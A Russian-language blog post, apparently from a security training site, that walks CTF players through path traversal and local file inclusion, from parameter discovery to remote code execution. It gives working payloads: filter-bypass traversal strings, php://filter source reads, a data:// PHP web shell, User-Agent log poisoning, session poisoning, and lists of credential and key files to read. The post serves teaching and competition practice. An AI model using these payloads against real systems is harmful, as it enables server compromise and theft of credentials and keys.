Главная / Блог / Path Traversal и LFI уязвимости: гайд для CTF

14 мин.00

Path Traversal и LFI уязвимости: гайд для CTF

Path Traversal и LFI уязвимости: гайд для CTF

На недавнем CTF я трижды прогнал SQLMap по форме авторизации, получил ноль результатов и переключился на XSS — а first blood по таску взял игрок, который за три минуты нашёл параметр ?template= и вытащил флаг через php://filter. Обидно? Ещё как. Path traversal и LFI стабильно входят в тройку самых частых категорий web-задач на соревнованиях, но русскоязычные разборы обычно заканчиваются на примере с /etc/passwd. Дальше — тишина. А здесь — полный путь от обнаружения уязвимого параметра до выполнения произвольного кода на сервере: с рабочими пейлоадами, таблицей предусловий для каждой техники обхода и конкретным алгоритмом перебора, который можно открыть на соревновании и идти по шагам.

Path traversal и LFI: в чём разница и зачем это злоумышленнику

По определению OWASP, path traversal (directory traversal) — атака, при которой злоумышленник манипулирует файловыми путями через последовательности ../ для доступа к файлам за пределами разрешённой директории. LFI (Local File Inclusion) — уязвимость, при которой приложение подключает локальный файл через механизм include или require. Подробнее — в нашем подробном разборе пентест веб-приложений.

Различие критично для CTF: path traversal даёт только чтение файла, LFI может дать его выполнение как кода. Если таск заканчивается на чтении /flag.txt — это path traversal. Если нужен полноценный RCE через log poisoning или PHP wrappers — это эксплуатация LFI. Путаешь одно с другим — тратишь время не на тот вектор.

В терминологии MITRE ATT&CK начальная эксплуатация маппится на Exploit Public-Facing Application (T1190, Initial Access). Чтение файлов — Data from Local System (T1005, Collection). Вытаскивание учётных данных из конфигов — Credentials In Files (T1552.001, Credential Access). Чтение SSH-ключей — Private Keys (T1552.004). Чтение /etc/passwd через LFI — это скорее Data from Local System (T1005) или File and Directory Discovery (T1083). Маппинг на OS Credential Dumping: /etc/passwd and /etc/shadow (T1003.008) обоснован только при получении /etc/shadow с хешами паролей, пригодными для офлайн-взлома.

Отдельно — Remote File Inclusion (RFI): приложение подключает файл с удалённого сервера. В PHP для этого нужен allow_url_include = On. В продакшене это крайняя редкость, в CTF встречается — но значительно реже, чем LFI.

Зачем это злоумышленнику вне CTF? Path traversal и LFI — одна из самых результативных точек входа для дальнейшей эскалации. Прочитал .env — получил пароль от базы данных. Прочитал SSH-ключ — зашёл на сервер. Прочитал исходный код приложения — нашёл захардкоженный API-токен или скрытый эндпоинт без аутентификации. По данным Verizon DBIR 2025, доля веб-атак среди подтверждённых нарушений — 26%, и directory traversal стабильно сидит в этой статистике.

Поиск path traversal в веб-приложениях

Первое действие при разведке web-таска — поиск параметров, принимающих имена файлов. По данным HackTricks, типичные уязвимые параметры: page, file, template, path, doc, folder, include, view, content, layout, mod, conf, action, board, site, show, locate. Список не исчерпывающий, но покрывает большинство CTF-задач.

Уязвимые паттерны делятся на три группы. Шаблонизация: ?page=about, ?view=news, ?template=invoice. Загрузка файлов: ?file=report.pdf, ?download=image.png. Превью и просмотр: ?path=latest.log, ?preview=template.html. В API-запросах traversal чаще прячется в теле POST: {"filename": "report.csv"} или {"templatePath": "invoice.html"}. Согласно YesWeHack, в современных API traversal встречается именно в JSON-параметрах, а не в query string.

Корень проблемы — код, который подставляет пользовательский ввод напрямую в путь файла:

<?php
// Классика жанра: пользовательский ввод летит прямо в include
$page = $_GET['page'] ?? 'home';
include('/var/www/templates/' . $page . '.php');
?>

Здесь $page контролируется атакующим. Но код добавляет суффикс .php, поэтому чистый traversal вроде ../../etc/passwd даст путь /var/www/templates/../../etc/passwd.php — несуществующий файл. Для успешной эксплуатации нужен null byte (%00, только PHP < 5.3.4) либо wrapper php://filter, который игнорирует добавленное расширение. Без суффикса .php в коде traversal сработал бы напрямую. Безопасная альтернатива — allowlist: пользовательский ввод сопоставляется со словарём разрешённых значений, а не подставляется в путь.

Burp Suite для path traversal и автоматический фаззинг

Для быстрого перебора путей использую ffuf с wordlist из SecLists (каталог Fuzzing/LFI/):

ffuf -u "http://target/page.php?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -fc 403 -fs 0

Флаг -fc 403 фильтрует ответы с кодом 403, -fs 0 отсекает пустые. Остаются только те варианты, где сервер вернул реальный контент. YesWeHack рекомендует аналогичный подход с кастомными словарями.

На CTF-платформах с rate limiting автоматический фаззинг может вызвать блокировку. Тогда переключаюсь на ручной перебор в Burp Repeater: отправляю запрос, модифицирую параметр, смотрю ответ. Медленнее, но не триггерит WAF. Repeater ещё и историю попыток сохраняет — после десятка проверок видно закономерность в том, что именно фильтрует сервер.

Обход фильтров при directory traversal атаке

Большинство CTF-задач средней и высокой сложности фильтруют ввод. Наивные проверки (удаление ../ из строки, блокировка по подстроке) обходятся почти всегда. Ниже — полная таблица техник с предусловиями, без которых каждая из них бесполезна.

Техника Пейлоад Когда работает Когда НЕ работает
Двойная последовательность ....//....//etc/passwd Однократный str_replace("../", "") Рекурсивная фильтрация
URL-кодирование %2e%2e%2fetc%2fpasswd Фильтр до декодирования Фильтр после декодирования
Двойное URL-кодирование %252e%252e%252f Многослойная архитектура (Nginx + Node.js + Python) Однослойная обработка
Null byte ../../../etc/passwd%00.php PHP < 5.3.4 Современный PHP (5.3.4+)
Абсолютный путь /etc/passwd Фильтр проверяет только ../ Канонизация пути
Обход начала пути /var/www/images/../../../etc/passwd Проверяется начало строки, но не весь путь realpath() + проверка
Смешанные разделители ..\..\..\etc\passwd Windows/IIS, где оба разделителя нормализуются одинаково Linux (POSIX не интерпретирует \ как разделитель пути, но может сработать, если код приложения сам нормализует \ в / перед подстановкой)

Двойные последовательности — первое, что пробую после неудачи с базовым ../. Логика простая: если код делает однократный str_replace("../", "", $input), то из строки ....// после удаления ../ остаётся ../ — ровно то, что нужно. По данным HackTricks, это один из самых частых обходов в CTF. И один из самых обидных, когда не догадался сразу.

URL-кодирование опирается на документацию OWASP по Path Traversal, где перечислены варианты percent encoding: %2e%2e%2f для ../, %2e%2e%5c для ..\ и двойное кодирование %252e%252e%255c. Двойное кодирование срабатывает, когда запрос проходит через несколько слоёв. Первый слой превращает %252e%252e%252f в %2e%2e%2f, второй — в ../. Фильтр на первом слое не видит traversal-последовательности, потому что проверяет строку до второго декодирования.

Null byte работает только на стендах с PHP до версии 5.3.4. Запрос ../../../etc/passwd%00.php обрежет строку на %00, и приложение откроет /etc/passwd вместо /etc/passwd.php. На PHP 5.3.4+ — бесполезна. Но CTF-авторы иногда намеренно разворачивают устаревшие стенды, так что держим в арсенале.

Алгоритм перебора в Burp Repeater

Порядок проверки — занимает три-четыре минуты в Burp Repeater:

  1. ../../../etc/passwd — если отработало, фильтров нет, идём к чтению ценных файлов
  2. ....//....//....//etc/passwd — обход нерекурсивной фильтрации
  3. %2e%2e%2fetc%2fpasswd — одинарное URL-кодирование
  4. %252e%252e%252fetc%252fpasswd — двойное URL-кодирование
  5. /etc/passwd — абсолютный путь напрямую
  6. ....\/....\/....\/etc/passwd — смешанные разделители

Если ни один вариант не зацепился — либо фильтрация серьёзная (канонизация через realpath(), chroot), либо уязвимость вообще в другом параметре или другом месте приложения. Не зацикливайся — переключайся.

PHP wrappers и эксплуатация LFI php filter

PHP wrappers превращают простое чтение файлов в полноценную эксплуатацию LFI уязвимости веб-сервера. В CTF они появляются всё чаще, потому что позволяют авторам задач создавать многоуровневую сложность: одна и та же LFI требует разных wrappers в зависимости от конфигурации.

Эксплуатация LFI через php://filter

Самый частый wrapper в CTF-задачах. Проблема с обычным LFI: если подключить PHP-файл через include, он выполнится на сервере и покажет результат, а не исходный код. Wrapper php://filter решает это — кодирует содержимое в base64:

curl -s "http://target/page.php?file=php://filter/convert.base64-encode/resource=index"
# Ответ: PD9waHAKJHBhZ2UgPSAkX0dFVFsncGFnZSddID8/ICdob21lJzs...
echo "PD9waHAK..." | base64 -d

Результат — полный исходный код файла. В CTF это даёт доступ к логике приложения, захардкоженным ключам, путям к флагу, дополнительным уязвимостям в коде. Иногда флаг валяется прямо в комментарии — и ты такой: «Серьёзно? Вот так просто?»

Нюанс из HackTricks: php://filter регистронезависим. Запрос с PhP://FiLtEr тоже отработает — помогает обойти blacklist-фильтры, которые проверяют строку php://filter в нижнем регистре.

Кроме convert.base64-encode доступны цепочки фильтров: string.rot13, string.toupper, convert.iconv.utf-8.utf-16le. Их можно комбинировать через |: php://filter/string.toupper|string.rot13|string.tolower/resource=/etc/passwd. В CTF это редкость, но помогает обойти WAF, блокирующий base64-encode в URL.

Критически важное предусловие: для php://filter настройка allow_url_include НЕ нужна. Wrapper работает с дефолтной конфигурацией PHP. Именно поэтому в CTF-задачах php://filter встречается значительно чаще остальных wrappers — авторам не нужно городить нестандартную конфигурацию.

data:// и php://input

Wrapper data:// позволяет передать PHP-код прямо в URL. Запрос ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg== вставляет base64-закодированный веб-шелл <?php system($_GET['c']); ?>, который сервер выполнит через include. Wrapper php://input работает аналогично: PHP-код передаётся в теле POST-запроса. Оба требуют не только allow_url_include = On, но и allow_url_fopen = On (включён по умолчанию, но может быть отключён администратором).

Wrapper Требует allow_url_include Результат Частота в CTF
php://filter Нет Чтение исходного кода Очень высокая
data:// Да (On) Выполнение произвольного PHP Средняя
php://input Да (On) Выполнение произвольного PHP Средняя
zip:// Нет Выполнение PHP из архива Низкая
phar:// Нет Десериализация + выполнение Низкая

Wrappers zip:// и phar:// не требуют allow_url_include, но нуждаются в предварительной загрузке файла на сервер. Важный нюанс: phar:// десериализация может триггериться не только через include(), но и через любую файловую функцию — file_exists(), is_file(), filemtime(), stat() — если phar-файл доступен на диске. Это расширяет вектор атаки за пределы классической LFI через include. Есть на таске функция аплоада? Загружаем ZIP-архив с PHP-файлом внутри, затем подключаем через zip:///var/www/uploads/evil.zip%23shell.php. Рабочий вектор.

LFI to RCE: от чтения файлов к выполнению кода

Чтение файлов — полдела. В задачах повышенной сложности требуется полноценный RCE, и тогда LFI уязвимость — стартовая точка цепочки. Ниже — техники, которые работают, когда wrappers data:// и php://input недоступны из-за выключенного allow_url_include.

Log poisoning через access logs

Суть: записать PHP-код в лог-файл веб-сервера, затем подключить этот лог через LFI. Типичные пути к логам — /var/log/apache2/access.log для Apache, /var/log/nginx/access.log для Nginx. HackTricks перечисляет оба как стандартные цели для log poisoning.

Атака в два шага. Первый — отправляем запрос с PHP-кодом в заголовке User-Agent:

curl -A "<?php system(\$_GET['c']); ?>" http://target/

Веб-сервер запишет содержимое User-Agent в access log. Тонкость: некоторые конфигурации логирования экранируют специальные символы или обрезают длину User-Agent. Если log poisoning не сработал — прочитайте лог через LFI без инъекции и проверьте формат вручную. Второй шаг — подключаем лог через LFI: ?file=../../../var/log/apache2/access.log&c=id. Сервер выполнит PHP-код из лога.

Предусловия: процесс веб-сервера должен иметь права на чтение лог-файла, путь к логу должен быть известен или угадан через перебор стандартных путей. На некоторых CTF-стендах логи ротируются каждые несколько минут — если payload не сработал с первого раза, повторите инъекцию в User-Agent и подключите лог заново.

Помимо access logs, HackTricks описывает аналогичный вектор через error logs и даже через отправку email (если на сервере работает sendmail — PHP-код попадает в mail log /var/log/mail).

Эксплуатация /proc/self/environ

Файл /proc/self/environ содержит переменные окружения текущего процесса. По данным Invicti, переменные окружения часто включают HTTP-заголовки, переданные клиентом. Если процесс веб-сервера имеет доступ к этому файлу — внедряем PHP-код через заголовок User-Agent и подключаем /proc/self/environ через LFI.

Даже без RCE, чтение /proc/self/environ бывает ценнее, чем кажется. Переменные окружения часто содержат API-ключи, токены, пароли баз данных — всё, что разработчик вынес из кода в environment variables «для безопасности» (ирония). В контексте MITRE ATT&CK — Credentials In Files (T1552.001).

Другие полезные файлы в /proc:

  • /proc/self/cmdline — командная строка запуска процесса (иногда содержит пароли в аргументах)
  • /proc/net/tcp — активные TCP-соединения в hex-формате (помогает при разведке внутренней сети)
  • /proc/self/fd/N — файловые дескрипторы (через перебор N от 0 до 50 иногда доступны временные файлы, загруженные другими пользователями)
  • /proc/version — версия ядра Linux (полезно для подбора kernel exploit в задачах с privilege escalation)

PHP session poisoning

PHP хранит данные сессий в файлах. Стандартные пути: /tmp/sess_<PHPSESSID> или /var/lib/php/sessions/sess_<PHPSESSID>. Если приложение сохраняет пользовательский ввод в сессии (имя пользователя, язык, любое текстовое поле) — можно внедрить PHP-код. Регистрируемся с именем <?php system($_GET['c']); ?>, затем подключаем файл сессии через LFI. Значение SESSION_ID берём из cookie PHPSESSID.

Предусловие: приложение должно записывать контролируемые данные в сессию, а путь хранения сессий должен быть доступен для чтения через LFI. На большинстве стандартных конфигураций PHP сессии хранятся в /tmp/ — директории, доступной для чтения всем.

Через загруженные файлы

Если на таске есть функция загрузки файлов (аватары, документы) — можно загрузить файл с PHP-кодом. Даже при проверке расширения PHP-код можно спрятать в метаданных изображения: EXIF-поле Comment в JPEG-файле. При подключении такого файла через include — весь PHP-код из метаданных выполнится, несмотря на расширение .jpg. Сервер не смотрит на расширение, когда выполняет include — ему всё равно, .jpg это или .php.

Чтение файлов на сервере: целевые пути для разведки

После подтверждения LFI или path traversal следующий шаг — вытащить максимум информации. Invicti и HackTricks описывают десятки целевых файлов; ниже — приоритизированный список для CTF.

Linux — системные файлы: - /etc/passwd — список пользователей, T1003.008 - /etc/shadow — хэши паролей (требует root-привилегий) - /home/<user>/.ssh/id_rsa — приватные SSH-ключи, T1552.004 - /home/<user>/.bash_history — история команд (пароли в открытом виде) - /root/.bash_history — история root-сессии

Файловая система /proc: - /proc/self/environ — переменные окружения с секретами - /proc/self/cmdline — аргументы процесса - /proc/version — версия ядра для подбора эксплоитов - /proc/net/tcp, /proc/net/arp — сетевая разведка, File and Directory Discovery (T1083) - /proc/mounts, /etc/fstab — смонтированные файловые системы

Файлы приложений: - .env — переменные окружения приложения (DB-креды, API-ключи, флаги) - config.php, wp-config.php, settings.py, application.yml — конфигурация - Исходный код через php://filter — для поиска скрытых эндпоинтов и логики

Windows: - C:\Windows\win.ini — PoC для подтверждения traversal - C:\inetpub\wwwroot\web.config — конфигурация IIS с возможными секретами - C:\Users\<user>\NTUser.dat — реестр пользователя

Облачные среды. По данным YesWeHack, в облачных окружениях добавляются специфичные цели: /var/task/index.js (исходный код AWS Lambda — runtime хранит код в /var/task/). Если LFI найдена в серверлесс-функции — это полное раскрытие исходного кода приложения, включая IAM-роль и переменные окружения со всеми секретами.

Path traversal в API: внутренний traversal через пересылку запросов

Отдельный сценарий, который в русскоязычных разборах вообще не упоминается. YesWeHack описывает его детально: в микросервисной архитектуре фронтенд-сервер принимает запрос пользователя и пересылает его внутреннему API. Если пользовательский ввод попадает в URL внутреннего запроса, traversal позволяет обращаться к произвольным эндпоинтам внутреннего API.

Пример: POST-запрос с {"user_id": "456"} на фронтенде превращается во внутренний вызов POST /api/v1/users/456. Подставляем {"user_id": "../../admin/roles"} — внутренний запрос уходит на /api/v1/admin/roles, привилегированный эндпоинт, недоступный снаружи. Это уже не чтение файлов, а обход авторизации через path traversal в API. В CTF-задачах продвинутого уровня такой вектор встречается всё чаще. На реальных проектах — тоже, особенно в микросервисном зоопарке, где каждый сервис доверяет соседу.

Полный алгоритм эксплуатации для CTF

Собираю всё в единую последовательность действий. Можно распечатать и положить рядом с ноутбуком на CTF:

  1. Разведка параметров. Ищу в URL и API-запросах параметры из списка HackTricks. Если параметров много — фаззю через ffuf с wordlist LFI-Jhaddix.txt.
  2. Базовая проверка. Подставляю ../../../etc/passwd. Сработало — фильтров нет, перехожу к шагу 4.
  3. Обход фильтров. По таблице предусловий перебираю: двойные последовательности, URL-кодирование, двойное кодирование, абсолютный путь. Три-четыре минуты в Burp Repeater.
  4. PHP wrappers. Пробую php://filter/convert.base64-encode/resource=index — вытаскиваю исходный код. Анализирую на захардкоженные секреты, пути к флагу, дополнительные уязвимости.
  5. Чтение ценных файлов. По приоритету: .env, конфиги приложения, /proc/self/environ, SSH-ключи, bash_history.
  6. LFI to RCE. Если флаг не в файле — log poisoning, session poisoning, подключение загруженных файлов. При allow_url_include = Ondata:// или php://input напрямую.

Эта последовательность закрывает подавляющее большинство CTF-задач по категории local file inclusion. В задачах экстремальной сложности встречаются PHP filter chains для RCE без записи файла на диск — но это отдельная большая тема.

По моим наблюдениям за два года активных CTF, главная причина провала на web-тасках с LFI — не нехватка знаний о пейлоадах, а отсутствие системного алгоритма. Человек знает про ../, знает про php://filter, но не имеет чёткой последовательности: что проверять первым, когда переключаться на следующую технику, когда останавливаться и менять вектор. Тратит полчаса на ручной подбор traversal-последовательностей, когда задача решалась абсолютным путём за минуту.

Вторая системная ошибка — зацикленность на /etc/passwd как конечной цели. Прочитал passwd — и сидит. А дальше .env с паролем от базы, config.php с флагом в комментарии, SSH-ключ в /home/user/.ssh/id_rsa, исходный код приложения через php://filter с новым вектором атаки внутри. Path traversal и LFI уязвимости — не одноразовый трюк, а категория разведки, которая кормит все последующие этапы.

Ещё один момент, который редко обсуждают: навык находить LFI за три минуты на CTF напрямую переносится на боевые проекты. API-эндпоинты для экспорта отчётов, превью документов, загрузки логов — те же уязвимые параметры, только спрятанные за JSON-телом запроса. Кто набил руку на соревнованиях — тот увидит этот вектор на пентесте раньше, чем коллеги запустят сканер. Если хочешь не просто writeup, а пройти всю атаку от разведки до RCE самому — на WAPT есть лаба именно с этим вектором плюс ментор в чате при затыке.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Bash скрипты для CTF: автоматизация разведки

14 мин.

4

Bash скрипты для CTF: автоматизация разведки

Три bash-скрипта для CTF с построчным разбором: автоматизация разведки, брутфорс HTTP-форм, парсинг вывода. Коллекция one-liners и 5 ошибок новичков.

9 СЕНТЯБРЬ, 2026

XXE инъекция: эксплуатация в CTF от А до Я

12 мин.

4

XXE инъекция: эксплуатация в CTF от А до Я

Полный арсенал XXE эксплуатации для CTF: чтение файлов, SSRF к облачным метаданным, blind OOB-эксфильтрация, error-based XXE и обход WAF с рабочими пейлоадами.

8 СЕНТЯБРЬ, 2026

Сканирование портов nmap для CTF: гайд

15 мин.

11

Сканирование портов nmap для CTF: гайд

Разбираем TCP handshake, типы сканирования nmap и статусы портов. Пошаговый CTF-workflow: от быстрого скана до обнаружения скрытых сервисов на нестандартных портах

8 СЕНТЯБРЬ, 2026